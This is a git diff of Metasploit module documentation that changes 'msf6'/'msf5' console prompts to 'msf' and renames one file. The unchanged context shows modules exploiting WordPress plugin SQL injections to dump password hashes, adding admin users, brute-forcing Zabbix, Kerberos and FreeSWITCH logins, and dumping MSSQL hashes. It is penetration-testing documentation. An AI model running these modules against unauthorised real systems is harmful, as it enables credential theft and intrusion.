a/documentation/modules/auxiliary/scanner/http/wp_learnpress_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_learnpress_sqli.md @@ -76,7 +76,7 @@ resource (learnpress.rb)> run [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_learnpress_sqli) > creds +msf auxiliary(scanner/http/wp_learnpress_sqli) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/wp_loginizer_log_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_loginizer_log_sqli.md index ba6f663451e74..c11bc8caa3223 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_loginizer_log_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_loginizer_log_sqli.md @@ -54,9 +54,9 @@ resource (loginizer.rb)> set verbose true verbose => true resource (loginizer.rb)> set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/wp_loginizer_log_sqli) > set count 3 +msf auxiliary(scanner/http/wp_loginizer_log_sqli) > set count 3 count => 3 -msf6 auxiliary(scanner/http/wp_loginizer_log_sqli) > run +msf auxiliary(scanner/http/wp_loginizer_log_sqli) > run [*] Checking /wp-content/plugins/loginizer/readme.txt [*] Found version 1.6.3 in the plugin diff --git a/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md index 62ad05fc2a9e8..3d8178800a590 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md @@ -32,18 +32,18 @@ The larger this list, the more time it will take. Defaults to `1`. ### Paid Membership Pro 2.9.7 on Wordpress 5.7.5 on Ubuntu 20.04 ``` -msf6 > use auxiliary/scanner/http/wp_paid_membership_pro_code_sqli +msf > use auxiliary/scanner/http/wp_paid_membership_pro_code_sqli [*] Using auxiliary/scanner/http/wp_paid_membership_pro_code_sqli -msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > set rhosts 1.1.1.1 +msf auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > set verbose true +msf auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > set verbose true verbose => true -msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > check +msf auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > check [*] Checking /wp-content/plugins/paid-memberships-pro/readme.txt [*] Found version 2.9.7 in the plugin [*] 1.1.1.1:80 - The target appears to be vulnerable. -msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > exploit +msf auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > exploit [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking /wp-content/plugins/paid-memberships-pro/readme.txt diff --git a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md index 507742d293c9e..d965a4a31ab79 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.md @@ -28,15 +28,15 @@ The specific vulnerable version can be found here: https://www.exploit-db.com/ap #### Example ```sh -msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli +msf > use auxiliary/scanner/http/wp_perfect_survey_sqli [*] Using auxiliary/scanner/http/wp_perfect_survey_sqli -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104 +msf auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104 RHOSTS => 192.168.1.104 -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000 +msf auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000 RPORT => 8000 -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress +msf auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress TARGETURI => /wordpress -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit +msf auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit [*] Running module against 192.168.1.104 [*] Running automatic check ("set AutoCheck false" to disable) @@ -50,5 +50,5 @@ WordPress User Credentials Username Email Hash -------- ----- ---- admin admin@localhost.com $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1 -msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > +msf auxiliary(scanner/http/wp_perfect_survey_sqli) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.md index d8846506df6b7..8a94d7c569f1d 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_secure_copy_content_protection_sqli.md @@ -78,12 +78,12 @@ wp_users ### Secure Copy Content Protection and Content Locking 2.8.1 on WordPress 5.9.1 on Docker ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli -msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RHOSTS 127.0.0.1 +msf payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/scanner/http/wp_secure_copy_content_protection_sqli +msf auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RPORT 8000 +msf auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > set RPORT 8000 RPORT => 8000 -msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show options +msf auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > show options Module options (auxiliary/scanner/http/wp_secure_copy_content_protection_sqli): @@ -107,7 +107,7 @@ Auxiliary action: List Users Queries username, password hash for USER_COUNT users -msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > run +msf auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. @@ -124,5 +124,5 @@ wp_users [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > -``` \ No newline at end of file +msf auxiliary(scanner/http/wp_secure_copy_content_protection_sqli) > +``` diff --git a/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md index f98e47914331d..e0674989899a6 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli.md @@ -121,7 +121,7 @@ installation running **TI WooCommerce Wishlist 2.8.2** with **WooCommerce** in a ### Step-by-step Scenario ```bash -msf6 auxiliary(scanner/http/wp_ti_woocommerce_wishlist_sqli) > run http://127.0.0.1:5555 +msf auxiliary(scanner/http/wp_ti_woocommerce_wishlist_sqli) > run http://127.0.0.1:5555 [*] Testing Product IDs from 0 to 100, please wait... [+] Share key found: e93cca diff --git a/documentation/modules/auxiliary/scanner/http/wp_total_upkeep_downloader.md b/documentation/modules/auxiliary/scanner/http/wp_total_upkeep_downloader.md index d7f7866e7cd67..3903e11b86d0e 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_total_upkeep_downloader.md +++ b/documentation/modules/auxiliary/scanner/http/wp_total_upkeep_downloader.md @@ -87,7 +87,7 @@ resource (total_upkeep.rb)> run [*] 1.1.1.1 - finished processing backup zip [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/wp_total_upkeep_downloader) > creds +msf auxiliary(scanner/http/wp_total_upkeep_downloader) > creds Credentials =========== diff --git a/documentation/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.md index 2023efbab57d4..ba04668517152 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.md +++ b/documentation/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.md @@ -124,7 +124,7 @@ installation running **Ultimate Member 2.8.2** on a Docker environment with MySQ ### Step-by-step Scenario ```bash -msf6 auxiliary(scanner/http/wp_ultimate_member_sorting_sqli) > run http://127.0.0.1:5555 +msf auxiliary(scanner/http/wp_ultimate_member_sorting_sqli) > run http://127.0.0.1:5555 [*] Performing SQL injection for CVE-2024-1071 via the 'sorting' parameter... [*] Getting nonce... diff --git a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md index 0a06f82f24523..6928247b69c6e 100644 --- a/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md +++ b/documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md @@ -46,14 +46,14 @@ The user ID number for a WordPress administrator. Defaults to `1`. ### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2 ``` -msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user -msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1 +msf > use auxiliary/scanner/http/wp_woocommerce_payments_add_user +msf auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die +msf auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die username => h00die -msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true +msf auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true verbose => true -msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit +msf auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit [*] Running module against 1.1.1.1 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/scanner/http/zabbix_login.md b/documentation/modules/auxiliary/scanner/http/zabbix_login.md index 0e493d179d5d9..58d1390bba118 100644 --- a/documentation/modules/auxiliary/scanner/http/zabbix_login.md +++ b/documentation/modules/auxiliary/scanner/http/zabbix_login.md @@ -39,8 +39,8 @@ version 2.4 and 2.2. ### Zabbix Version 5.0.5 ``` -msf6 > use auxiliary/scanner/http/zabbix_login -msf6 auxiliary(scanner/http/zabbix_login) > info +msf > use auxiliary/scanner/http/zabbix_login +msf auxiliary(scanner/http/zabbix_login) > info Name: Zabbix Server Brute Force Utility Module: auxiliary/scanner/http/zabbix_login @@ -83,15 +83,15 @@ Description: PASS_FILE, and USERPASS_FILE options. It will also test for the Zabbix default login (Admin:zabbix) and guest access. -msf6 auxiliary(scanner/http/zabbix_login) > set RHOSTS 172.29.121.85 +msf auxiliary(scanner/http/zabbix_login) > set RHOSTS 172.29.121.85 RHOSTS => 172.29.121.85 -msf6 auxiliary(scanner/http/zabbix_login) > set TARGETURI / +msf auxiliary(scanner/http/zabbix_login) > set TARGETURI / TARGETURI => / -msf6 auxiliary(scanner/http/zabbix_login) > set USERNAME Admin +msf auxiliary(scanner/http/zabbix_login) > set USERNAME Admin USERNAME => Admin -msf6 auxiliary(scanner/http/zabbix_login) > set PASSWORD zabbix2 +msf auxiliary(scanner/http/zabbix_login) > set PASSWORD zabbix2 PASSWORD => zabbix2 -msf6 auxiliary(scanner/http/zabbix_login) > run +msf auxiliary(scanner/http/zabbix_login) > run [*] 172.29.121.85:80 - Found Zabbix version 5.0 [*] 172.29.121.85:80 - This Zabbix instance has disabled Guest mode @@ -99,7 +99,7 @@ msf6 auxiliary(scanner/http/zabbix_login) > run [+] 172.29.121.85:80 - Success: 'Admin:zabbix2' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/zabbix_login) > creds +msf auxiliary(scanner/http/zabbix_login) > creds Credentials =========== @@ -107,5 +107,5 @@ host origin service public private ---- ------ ------- ------ ------- ----- ------------ ---------- 172.29.121.85 172.29.121.85 80/tcp (http) Admin zabbix2 Password -msf6 auxiliary(scanner/http/zabbix_login) > +msf auxiliary(scanner/http/zabbix_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/zenload_balancer_traversal.md b/documentation/modules/auxiliary/scanner/http/zenload_balancer_traversal.md index 5a1bb756d89d4..e460595d8832e 100644 --- a/documentation/modules/auxiliary/scanner/http/zenload_balancer_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/zenload_balancer_traversal.md @@ -20,15 +20,15 @@ Zen load balancer before v3.10.1 is vulnerable to authenticated directory traver ## Scenarios ``` -msf5 > use auxiliary/scanner/http/zenload_balancer_traversal -msf5 auxiliary(scanner/http/zenload_balancer_traversal) > set RHOSTS 192.168.1.101 +msf > use auxiliary/scanner/http/zenload_balancer_traversal +msf auxiliary(scanner/http/zenload_balancer_traversal) > set RHOSTS 192.168.1.101 RHOSTS => 192.168.1.101 -msf5 auxiliary(scanner/http/zenload_balancer_traversal) > set SSL true +msf auxiliary(scanner/http/zenload_balancer_traversal) > set SSL true SSL => true -msf5 auxiliary(scanner/http/zenload_balancer_traversal) > run +msf auxiliary(scanner/http/zenload_balancer_traversal) > run [*] Running module against 192.168.1.101 [+] File saved in: /Users/Dhiraj/.msf4/loot/20200412142620_default_192.168.1.101_zenload.http_196293.txt [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/zenload_balancer_traversal) > +msf auxiliary(scanner/http/zenload_balancer_traversal) > ``` diff --git a/documentation/modules/auxiliary/scanner/imap/imap_version.md b/documentation/modules/auxiliary/scanner/imap/imap_version.md index e8848616f2722..cb6b960275de6 100644 --- a/documentation/modules/auxiliary/scanner/imap/imap_version.md +++ b/documentation/modules/auxiliary/scanner/imap/imap_version.md @@ -34,10 +34,10 @@ in a production environment. ### Dovecot 2.3.2 (582970113) on Kali ``` - msf5 > use auxiliary/scanner/imap/imap_version - msf5 auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216 + msf > use auxiliary/scanner/imap/imap_version + msf auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216 rhosts => 10.168.202.216 - msf5 auxiliary(scanner/imap/imap_version) > run + msf auxiliary(scanner/imap/imap_version) > run [+] 10.168.202.216:143 - 10.168.202.216:143 IMAP * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN] Dovecot (Debian) ready.\x0d\x0a [*] 10.168.202.216:143 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/ip/ipidseq.md b/documentation/modules/auxiliary/scanner/ip/ipidseq.md index 67827f986ee24..1fe89b2e01e76 100644 --- a/documentation/modules/auxiliary/scanner/ip/ipidseq.md +++ b/documentation/modules/auxiliary/scanner/ip/ipidseq.md @@ -52,9 +52,9 @@ A 32-bit cookie for probe requests. Defaults to `1297303073`. ### Example Incremental ``` -msf6 auxiliary(scanner/ip/ipidseq) > set RHOSTS 10.0.20.254 +msf auxiliary(scanner/ip/ipidseq) > set RHOSTS 10.0.20.254 RHOSTS => 10.0.20.254 -msf6 auxiliary(scanner/ip/ipidseq) > exploit +msf auxiliary(scanner/ip/ipidseq) > exploit [*] 10.0.20.254's IPID sequence class: Incremental! [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md b/documentation/modules/auxiliary/scanner/ivanti/ivanti_login.md similarity index 91% rename from documentation/modules/auxiliary/scanner/ivanti/login_scanner.md rename to documentation/modules/auxiliary/scanner/ivanti/ivanti_login.md index 069a5df93c3f0..e67a2371213a7 100644 --- a/documentation/modules/auxiliary/scanner/ivanti/login_scanner.md +++ b/documentation/modules/auxiliary/scanner/ivanti/ivanti_login.md @@ -9,7 +9,7 @@ It allows to attack both regular user and admin as well - you can select which t ## Verification Steps -1. `use auxiliary/scanner/ivanti/login_scanner` +1. `use auxiliary/scanner/ivanti/ivanti_login` 2. `set RHOSTS [IP]` 3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]` 4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]` diff --git a/documentation/modules/auxiliary/scanner/kerberos/kerberos_login.md b/documentation/modules/auxiliary/scanner/kerberos/kerberos_login.md index cffcb44c5ac99..ea0731f713564 100644 --- a/documentation/modules/auxiliary/scanner/kerberos/kerberos_login.md +++ b/documentation/modules/auxiliary/scanner/kerberos/kerberos_login.md @@ -29,7 +29,7 @@ Kerberos service on a Domain Controller. To create a single Kerberos ticket (TGT), set the username and password options: ```msf -msf6 auxiliary(scanner/kerberos/kerberos_login) > run rhost=192.168.123.133 domain=DEMO.local username=basic_user password=password verbose=true +msf auxiliary(scanner/kerberos/kerberos_login) > run rhost=192.168.123.133 domain=DEMO.local username=basic_user password=password verbose=true [*] Using domain: DEMO.LOCAL - 192.168.123.133:88 ... [+] 192.168.123.133 - User found: "basic_user" with password password [*] Auxiliary module execution completed @@ -44,7 +44,7 @@ accounts and additionally bruteforcing passwords: Create a new `./users.txt` file and `./wordlist.txt`, then run the module: ```msf -msf6 auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.133 domain=DEMO.local user_file=./users.txt pass_file=./wordlist.txt verbose=true +msf auxiliary(gather/kerberos_enumusers) > run rhost=192.168.123.133 domain=DEMO.local user_file=./users.txt pass_file=./wordlist.txt verbose=true [*] Using domain: DEMO.LOCAL - 192.168.123.133:88 ... [+] 192.168.123.133 - User: "basic_user" is present [*] 192.168.123.133 - User: "basic_user" wrong password invalid2 diff --git a/documentation/modules/auxiliary/scanner/memcached/memcached_amp.md b/documentation/modules/auxiliary/scanner/memcached/memcached_amp.md index 7d5aef07d9a88..67268e3abc2ef 100644 --- a/documentation/modules/auxiliary/scanner/memcached/memcached_amp.md +++ b/documentation/modules/auxiliary/scanner/memcached/memcached_amp.md @@ -54,10 +54,10 @@ docker run -ti --rm -p 11211:11211/udp memcached:1.5.5 Configure memcached as described above. ``` -msf5 > use auxiliary/scanner/memcached/memcached_amp -msf5 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d +msf > use auxiliary/scanner/memcached/memcached_amp +msf auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d RHOSTS => a.b.c.d -msf5 auxiliary(scanner/memcached/memcached_amp) > run +msf auxiliary(scanner/memcached/memcached_amp) > run [+] a.b.c.d:11211 - Vulnerable to MEMCACHED amplification: No packet amplification and a 78x, 1163-byte bandwidth amplification [*] Scanned 1 of 1 hosts (100% complete) @@ -69,10 +69,10 @@ msf5 auxiliary(scanner/memcached/memcached_amp) > run Configure memcached as described above. ``` -msf5 > use auxiliary/scanner/memcached/memcached_amp -msf5 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d +msf > use auxiliary/scanner/memcached/memcached_amp +msf auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d RHOSTS => a.b.c.d -msf5 auxiliary(scanner/memcached/memcached_amp) > run +msf auxiliary(scanner/memcached/memcached_amp) > run [+] a.b.c.d:11211 - Vulnerable to MEMCACHED amplification: No packet amplification and a 68x, 1015-byte bandwidth amplification [*] Scanned 1 of 1 hosts (100% complete) @@ -84,10 +84,10 @@ msf5 auxiliary(scanner/memcached/memcached_amp) > run Configure memcached in docker as described above. ``` -msf5 > use auxiliary/scanner/memcached/memcached_amp -msf5 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d +msf > use auxiliary/scanner/memcached/memcached_amp +msf auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d RHOSTS => a.b.c.d -msf5 auxiliary(scanner/memcached/memcached_amp) > run +msf auxiliary(scanner/memcached/memcached_amp) > run [+] a.b.c.d:11211 - Vulnerable to MEMCACHED amplification: 2x packet amplification and a 126x, 1880-byte bandwidth amplification [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/memcached/memcached_udp_version.md b/documentation/modules/auxiliary/scanner/memcached/memcached_udp_version.md index a7cbe63208cc7..eba820441c207 100644 --- a/documentation/modules/auxiliary/scanner/memcached/memcached_udp_version.md +++ b/documentation/modules/auxiliary/scanner/memcached/memcached_udp_version.md @@ -39,10 +39,10 @@ docker run -ti --rm -p 11211:11211/udp memcached:1.5.5 Configure memcached as described above. ``` -msf5 > use auxiliary/scanner/memcached/memcached_udp_version -msf5 auxiliary(scanner/memcached/memcached_udp_version) > set RHOSTS a.b.c.d +msf > use auxiliary/scanner/memcached/memcached_udp_version +msf auxiliary(scanner/memcached/memcached_udp_version) > set RHOSTS a.b.c.d RHOSTS => a.b.c.d -msf5 auxiliary(scanner/memcached/memcached_udp_version) > run +msf auxiliary(scanner/memcached/memcached_udp_version) > run [+] a.b.c.d:11211/udp memcached version 1.4.15 [*] Scanned 1 of 1 hosts (100% complete) @@ -54,10 +54,10 @@ msf5 auxiliary(scanner/memcached/memcached_udp_version) > run Configure memcached in docker as described above. ``` -msf5 > use auxiliary/scanner/memcached/memcached_udp_version -msf5 auxiliary(scanner/memcached/memcached_udp_version) > set RHOSTS a.b.c.d +msf > use auxiliary/scanner/memcached/memcached_udp_version +msf auxiliary(scanner/memcached/memcached_udp_version) > set RHOSTS a.b.c.d RHOSTS => a.b.c.d -msf5 auxiliary(scanner/memcached/memcached_udp_version) > run +msf auxiliary(scanner/memcached/memcached_udp_version) > run [+] a.b.c.d:11211/udp memcached version 1.5.5 [*] Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.md b/documentation/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.md index e92836524033a..8a17766cb6303 100644 --- a/documentation/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.md +++ b/documentation/modules/auxiliary/scanner/misc/cups_browsed_info_disclosure.md @@ -17,12 +17,12 @@ Retrieve CUPS version and kernel version information from `cups-browsed` service ### Scanning a local network for CUPS services ``` -msf6 > use modules/auxiliary/scanner/misc/cups_browsed_info_disclosure -msf6 auxiliary(scanner/misc/cups_browsed_info_disclosure) > set rhosts 192.168.200.0/24 +msf > use modules/auxiliary/scanner/misc/cups_browsed_info_disclosure +msf auxiliary(scanner/misc/cups_browsed_info_disclosure) > set rhosts 192.168.200.0/24 rhosts => 192.168.200.0/24 -msf6 auxiliary(scanner/misc/cups_browsed_info_disclosure) > run +msf auxiliary(scanner/misc/cups_browsed_info_disclosure) > run [*] Auxiliary module running as background job 0. -msf6 auxiliary(scanner/misc/cups_browsed_info_disclosure) > +msf auxiliary(scanner/misc/cups_browsed_info_disclosure) > [*] Using URL: http://192.168.200.130:8080/printers/s65WzxwTmx [+] 192.168.200.132: CUPS/2.3.1 (Linux 5.4.0-187-generic; x86_64) IPP/2.0 [+] 192.168.200.139: CUPS/2.4.7 (Linux 6.8.0-31-generic; x86_64) IPP/2.0 diff --git a/documentation/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.md b/documentation/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.md index df5f5f060d18c..ef4dd4ad92741 100644 --- a/documentation/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.md +++ b/documentation/modules/auxiliary/scanner/misc/freeswitch_event_socket_login.md @@ -45,12 +45,12 @@ The file containing a list of passwords to try logging in with. ## Scenarios ### FreeSWITCH 1.10.7 Linux Debian 10.11 (Docker Image) ``` -msf6 > use auxiliary/scanner/misc/freeswitch_event_socket_login -msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set RHOSTS 192.168.56.1 +msf > use auxiliary/scanner/misc/freeswitch_event_socket_login +msf auxiliary(scanner/misc/freeswitch_event_socket_login) > set RHOSTS 192.168.56.1 RHOSTS => 192.168.56.1 -msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > set PASS_FILE /home/kali/passwords.txt +msf auxiliary(scanner/misc/freeswitch_event_socket_login) > set PASS_FILE /home/kali/passwords.txt PASS_FILE => /home/kali/passwords.txt -msf6 auxiliary(scanner/misc/freeswitch_event_socket_login) > run +msf auxiliary(scanner/misc/freeswitch_event_socket_login) > run [!] 192.168.56.1:8021 - No active DB -- Credential data will not be saved! [-] 192.168.56.1:8021 - 192.168.56.1:8021 - LOGIN FAILED: ClueCon (Incorrect: -ERR invalid) diff --git a/documentation/modules/auxiliary/scanner/misc/java_jmx_server.md b/documentation/modules/auxiliary/scanner/misc/java_jmx_server.md index 1fcc90c56ab2c..6b43885854c57 100644 --- a/documentation/modules/auxiliary/scanner/misc/java_jmx_server.md +++ b/documentation/modules/auxiliary/scanner/misc/java_jmx_server.md @@ -35,9 +35,9 @@ docker restart `docker ps -q` Against the above-described Docker container, the workflow looks like: ``` -msf5 auxiliary(scanner/misc/java_jmx_server) > set RHOST 127.0.0.1 -msf5 auxiliary(scanner/misc/java_jmx_server) > set RPORT 1099 -msf5 auxiliary(scanner/misc/java_jmx_server) > run +msf auxiliary(scanner/misc/java_jmx_server) > set RHOST 127.0.0.1 +msf auxiliary(scanner/misc/java_jmx_server) > set RPORT 1099 +msf auxiliary(scanner/misc/java_jmx_server) > run [*] Reloading module... [*] 127.0.0.1:1099 - Sending RMI header... @@ -49,7 +49,7 @@ msf5 auxiliary(scanner/misc/java_jmx_server) > run In addition, note that `services` within the data model has been updated: ``` -msf5 auxiliary(scanner/misc/java_jmx_server) > services +msf auxiliary(scanner/misc/java_jmx_server) > services Services ======== diff --git a/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md b/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md index ac51117c2d32f..d6d6183f3c5b0 100644 --- a/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md +++ b/documentation/modules/auxiliary/scanner/misc/rocketmq_version.md @@ -30,10 +30,10 @@ docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesr ### 4.9.4 on Docker from above instructions ``` -msf6 > use auxiliary/scanner/misc/rocketmq_version -msf6 auxiliary(scanner/misc/rocketmq_version) > set rhosts 127.0.0.1 +msf > use auxiliary/scanner/misc/rocketmq_version +msf auxiliary(scanner/misc/rocketmq_version) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/misc/rocketmq_version) > run +msf auxiliary(scanner/misc/rocketmq_version) > run [+] 127.0.0.1:9876 - RocketMQ version V4.9.4 found with brokers: [{"brokerAddrs"=>{"0"=>"172.17.0.4:10911"}, "brokerName"=>"broker-a", "cluster"=>"DefaultCluster"}] [*] 127.0.0.1:9876 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/msmail/host_id.md b/documentation/modules/auxiliary/scanner/msmail/host_id.md index f82f54f74939f..e80178ef5b092 100644 --- a/documentation/modules/auxiliary/scanner/msmail/host_id.md +++ b/documentation/modules/auxiliary/scanner/msmail/host_id.md @@ -21,10 +21,10 @@ OWA (Outlook Webapp) is vulnerable to time-based user enumeration attacks. *Results should look like below:* ``` -msf5 > use auxiliary/scanner/msmail/host_id -msf5 auxiliary(scanner/msmail/host_id) > set RHOSTS +msf > use auxiliary/scanner/msmail/host_id +msf auxiliary(scanner/msmail/host_id) > set RHOSTS RHOSTS => -msf5 auxiliary(scanner/msmail/host_id) > run +msf auxiliary(scanner/msmail/host_id) > run [*] Running for ... [*] Attempting to harvest internal domain: @@ -39,4 +39,4 @@ msf5 auxiliary(scanner/msmail/host_id) > run [*] [+] https:///oab [*] [+] https:///ews -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md index ea10b5f4cdcc6..72f50081997a3 100644 --- a/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md +++ b/documentation/modules/auxiliary/scanner/mssql/mssql_hashdump.md @@ -5,7 +5,7 @@ The `mssql_hashdump` module queries an MSSQL instance or session and returns has ## Available Options ``` -msf6 auxiliary(scanner/mssql/mssql_hashdump) > options +msf auxiliary(scanner/mssql/mssql_hashdump) > options Module options (auxiliary/scanner/mssql/mssql_hashdump): @@ -37,7 +37,7 @@ Module options (auxiliary/scanner/mssql/mssql_hashdump): With a session: ``` -msf6 auxiliary(scanner/mssql/mssql_hashdump) > sessions +msf auxiliary(scanner/mssql/mssql_hashdump) > sessions Active sessions =============== @@ -46,7 +46,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 mssql MSSQL sa @ 127.0.0.1:1433 127.0.0.1:52307 -> 127.0.0.1:1433 (127.0.0.1) -msf6 auxiliary(scanner/mssql/mssql_hashdump) > run session=-1 +msf auxiliary(scanner/mssql/mssql_hashdump) > run session=-1 [*] Using existing session 1 [*] Instance Name: "758549b9f69e" @@ -55,7 +55,7 @@ msf6 auxiliary(scanner/mssql/mssql_hashdump) > run session=-1 [+] Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa 